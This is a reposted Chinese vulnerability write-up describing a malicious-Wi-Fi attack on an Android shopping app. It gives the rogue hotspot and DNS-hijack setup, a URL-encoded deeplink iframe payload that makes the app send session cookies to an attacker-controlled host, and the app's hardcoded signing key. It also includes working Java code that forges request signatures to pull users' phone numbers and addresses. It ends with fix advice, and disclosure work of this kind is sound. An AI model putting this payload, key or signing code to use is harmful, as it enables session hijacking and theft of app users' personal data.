记一次某APK的恶意WIFI攻击
2021-02-02 21:04:30 Author: xz.aliyun.com(查看原文) 阅读量:222 收藏

用户接入恶意WIFI即打开某APP,泄露用户cookie,攻击者可以通过token获取用户手机号、收藏、收货地址等

漏洞详情

查看manifest.xml有如下deeplink activity

"com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity" android:noHistory="true" android:theme="@style/Transparent" android:windowSoftInputMode="0x10">
      <intent-filter>
        <action android:name="com.xxxx.client.android.activity.HomeActivity"/>
      </intent-filter>
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="scheme"/>
      </intent-filter>
</activity>

逆向ParseDeepLinkActivity代码

@Override  // android.app.Activity
    public void onCreate(Bundle arg13) {
        String v0;
        e v13;
        Intent v1_2;
        String frompage;
        String v3 = "";
        super.onCreate(arg13);
        if(s.i()) {
            try {
                this.uri = this.getIntent().getData();
                if(this.uri == null) {
                    this.finish();
                    return;
                }

                e.e.b.a.n.a.d.b();
                jb.b("CT_TAG", "uri = " + this.uri);
                v3 = this.uri.getQuery();
                if(TextUtils.isEmpty(v3)) {
                    goto label_61;
                }
                else {
                    this.schemabean = g.SCHEME_GETURLJSON(v3);
                    v3 = this.schemabean;
                    if(((SchemeBean)v3) == null) {
                        goto label_61;
                    }

                    boolean v3_1 = TextUtils.isEmpty(this.schemabean.getFrompage());
                    goto label_37;
                }

                goto label_62;
            }
            catch(Exception v1) {
                goto label_174;
            }
..

会从查询参数中获取并反列序json,得到结构SchemeBean,之后会根据bean的内容进行派发

if(bean1 != null) {
                if(g.a(v1, bean1, v6)) {
                    return;
                }

                String v7_1 = bean.getChannelName();
                int v8 = -1;
                switch(v7_1.hashCode()) {
                    case -2034194897: {
                        boolean v7_2 = v7_1.equals("fenlei_detail");
                        if(v7_2) {
                            v8 = 18;
                        }

                        break;
                    }
                    case 3322092: {
                        if(v7_1.equals("live")) {
                            v8 = 0;
                        }

                        break;
                    }
                    case 1288290882: {
                        if(v7_1.equals("wiki_all_product")) {
                            v8 = 40;
                        }

                        break;
                    }
                    case 1843825908: {
                        if(v7_1.equals("taskreward")) {
                            v8 = 23;
                        }

                        break;
                    }
                    case 1991869741: {
                        if(v7_1.equals("pinpai_detail")) {
                            v8 = 17;
                        }

                        break;
                    }
...
case 3277: {
                        if(v7_1.equals("h5")) {
                            v8 = 60;
                        }

                        break;
                    }

渠道非常多,h5表示要打开h5页面,如下代码会通过路由寻找跳转到对应的activity

case 60: {
                        if(("1".equals(bean.getLogin())) && !e.e.b.a.b.c.Ya()) {
                            Ea.a(v1, 0x392FC);
                            return;
                        }

                        b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");
                        v3_19.putstring("url", bean.getLinkVal());
                        v3_19.putstring("sub_type", "h5");
                        v3_19.putstring("from", e.e.b.a.u.h.a(v6));
                        v3_19.t();
                        goto label_1102;
                    }

逆向路由注册代码,loadInto为路由统一注册接口,找到对应的activity为HybridActivity

public class o implements b {
    @Override  // com.xxxx.android.router.api.e.b
    public void loadInto(Map arg8) {
        arg8.put("path_activity_zdm_web_browser", a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class, "path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));
    }
}

分析HybridActivity的onCreate方法,里面初始化webview并且loadUrl

@Override  // com.xxxx.client.android.base.BaseActivity
    protected void onCreate(Bundle arg5) {
        super.onCreate(arg5);
        this.A = new HybridPresenter(this, this.za(), this.getIntent().getStringExtra("link_type"), this.getIntent().getStringExtra("sub_type"));
        if(com.xxxx.client.android.hybrid.b.a.a.TRANSPARENT == this.P().h()) {
            int v5 = Build.VERSION.SDK_INT;
            if(v5 >= 21) {
                int v0 = 0x500;
                if(v5 >= 23 && this.P().l() == 1) {
                    v0 = 0x2500;
                }

                this.getWindow().getDecorView().setSystemUiVisibility(v0);
                this.getWindow().setStatusBarColor(ContextCompat.getColor(this.getContext(), 0x106000D));
            }
        }

        this.getLifecycle().a(this.A);
        if(2 == this.A.b(this.getIntent())) {
            return;
        }

        this.La();
        this.y = this.init_webview();
        this.A.a(this.getIntent());//这里会同步cookie
}

遍历webview加载的jsBridge,发现并没有什么可利用的js接口,暂且不表。回到上文的同步cookie的代码

public static void syncCookie(String arg1) {
        ia.syncCookie(arg1, false);
    }

    public static void syncCookie(String url, boolean arg9) { //arg9固定为false
        if(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {
            try {
                jb.b("Nat: webView.syncCookie.url", url);
                CookieManager v9 = CookieManager.getInstance();
                String oldcookie = v9.getCookie(url);
                if(oldcookie != null) {
                    jb.b("Nat: webView.syncCookie.oldCookie", oldcookie);
                }

                v9.setAcceptCookie(true);
                HashMap v2_1 = Na.a(true);
                if(v2_1 != null) {
                    if(TextUtils.isEmpty(((CharSequence)v2_1.get("sess")))) {
                        v9.setCookie(".xxxx.com", "sess=;");
                    }

                    if(TextUtils.isEmpty(((CharSequence)v2_1.get("ab_test")))) {
                        v9.setCookie(".xxxx.com", "ab_test=;");
                    }

                    if(ia.isContain_smzdm_com(url)) {
                        Iterator v2_2 = v2_1.entrySet().iterator();
                        while(true) {
                            boolean v3 = v2_2.hasNext();
                            if(!v3) {
                                break;
                            }

                            Object v3_1 = v2_2.next();
                            Map.Entry v3_2 = (Map.Entry)v3_1;
                            v9.setCookie(".yying.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
                            v9.setCookie(".xxxx.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
                        }

                        v9.setCookie(".xxxx.com", "f=" + Na.a("android"));
                        v9.setCookie(".xxxx.com", "v=" + Na.a("9.9.10"));
                        v9.setCookie(".xxxx.com", "coupon_h5=" + com.xxxx.client.base.utils.b.c().a("coupon_h5") + ";");
                        v9.setCookie("go.xxxx.com", "scene=" + Na.a(Aa.b) + ";");
                    }
                }

                String v8_1 = v9.getCookie(url);
                if(v8_1 != null) {
                    jb.b("Nat: webView.syncCookie.newCookie", v8_1);
                    return;
                }
            }
            catch(Exception v8) {
                jb.b("Nat: webView.syncCookie failed", v8.toString());
                return;
            }
        }
}

以上代码的意义是为.xxxx.com和.yying.com设置cookie,如果URL的域名是其子域名,那么webview在访问该URL时会自动带上cookie。但是并没有校验URL是否为HTTPS,这里可以是HTTP,可以构造DNS劫持。

攻击过程

搭建恶意WIFI
虚拟机安装kali,再通过apt安装hostapd、dnsmasq和nginx,硬件使用USB无线网卡tplink WN722N。
1、启动热点
在hostapd.conf设置SSID为SZ Airport Free,无认证,这个名字拿到机场相信一定会有所收获

2、搭建本地DNS
在dnsmasq.conf中设置DHCP及DNS,将域名a.xxxx.com解析到我的外网VPS,该VPS上设置nginx的access_log记录cookie。
3、设置captive-portal-login
华为手机进行网络评估时,会访问connectivitycheck.platform.hicloud.com。因此配置DNS使connectivitycheck.platform.hicloud.com解析为192.168.1.1,并在192.168.1.1上设置nginx使其返回302:

并在192.168.1.1/index.html中插入代码使浏览器拉起APP
POC:
{"channelName":"h5","linkVal":"http://a.xxxx.com/jsloop.html"}
经过URL编码

<iframe src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D"><br> 手机接入恶意WIFI<br> 点击连接热点SZ Airport Free,会自动通过浏览器拉起什么值得买APP,访问<a href="http://a.xxxx.com/jsloop.html,app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx访问日志中拿到用户cookie">http://a.xxxx.com/jsloop.html,app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx访问日志中拿到用户cookie</a>:<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127093008-31019092-603f-1.png" alt=""></p> <h2>解决签名问题</h2> <p>几乎每一个请求都有签名,现在只拿到cookie还不能成功调用接口<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091158-a7197306-603c-1.png" alt=""><br> okhttp3的intercept方法中有如下代码,用来计算sign</p> <pre><code>HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", this.a()); v5_1.put("time", String.valueOf(d.b())); ... v8_3.putAll(v5_1); v8_3.put("sign", v1.a(v8_3, "POST")); &lt;--- if(v1.b.contains(v0)) { v8_3.remove("time"); v8_3.remove("sign"); } for(Object v4_5: v8_3.entrySet()) { Map.Entry v4_6 = (Map.Entry)v4_5; v10_1.a(((String)v4_6.getKey()), ((String)v4_6.getValue())); }</code></pre> <p>此a方法就是用计算sign的,最后是用md5做摘要</p> <pre><code>private String a(Map arg6, String arg7) { String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 &lt; v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null &amp;&amp; !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&amp;"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&amp;key="); v1.append(ZDMKeyUtil.a().b()); &lt;--- 这里有一个key return Fa.md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } }</code></pre> <p>这个key通过jni接口获得</p> <pre><code>static { System.loadLibrary("lib_zdm_key"); } public static ZDMKeyUtil a() { if(ZDMKeyUtil.a == null) { ZDMKeyUtil.a = new ZDMKeyUtil(); } return ZDMKeyUtil.a; } public String b() { try { if(ZDMKeyUtil.b == null || (ZDMKeyUtil.b.isEmpty())) { ZDMKeyUtil.b = this.getDefaultNativeKey(); return ZDMKeyUtil.b + ""; } } catch(Exception v0) { v0.printStackTrace(); return ZDMKeyUtil.b + ""; } return ZDMKeyUtil.b + ""; } private native String deleteNativeKey() { } private native String getDefaultNativeKey() { }</code></pre> <p>逆向liblib_zdm_key.so<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127092918-1358e220-603f-1.png" alt=""><br> 可以看到这是一个固定值,因此现在我可以自己计算sign了,写如下java代码即可完成:</p> <pre><code>public static final String md5(String arg9) { char[] v0 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; try { byte[] v9_1 = arg9.getBytes(); MessageDigest v1 = MessageDigest.getInstance("MD5"); v1.update(v9_1); byte[] v9_2 = v1.digest(); char[] v3 = new char[v9_2.length * 2]; int v4 = 0; int v5 = 0; while(v4 &lt; v9_2.length) { int v6 = v9_2[v4]; int v7 = v5 + 1; v3[v5] = v0[v6 &gt;&gt;&gt; 4 &amp; 15]; v5 = v7 + 1; v3[v7] = v0[v6 &amp; 15]; ++v4; } return new String(v3).toLowerCase(); } catch(Exception v9) { v9.printStackTrace(); return ""; } } private static String computeSign(Map arg6){ String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 &lt; v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null &amp;&amp; !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&amp;"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&amp;key="); v1.append("apr1$AwP!wRRT$gJ/q.X24poeBInlUJC"); return md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } } public static void main(String[] args) { String v0 = System.currentTimeMillis() + ""; HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", "1"); v5_1.put("time", v0); String s = computeSign(v5_1); System.out.println(v0);//time System.out.println(s);//sign }</code></pre> <p>现在就可以调用任意接口,比如重放/personal_data/info/获取个人信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091321-d8c63d1c-603c-1.png" alt=""><br> 成功获取个人信息,包括手机号13288886666、收货地址、性别、生日等信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091333-df90bce4-603c-1.png" alt=""></p> <h2>攻击结果</h2> <p>获取了用户姓名、收货地址、手机号、生日、社区文章、评论等个人敏感信息</p> <h2>修复建议</h2> <p>1、deeplink中的URL scheme要限制不能为HTTP<br> 2、HTTP请求中签名用到的key不要硬编码,改为动态协商</p> </iframe>


文章来源: http://xz.aliyun.com/t/9145
如有侵权请联系:admin#unsafe.sh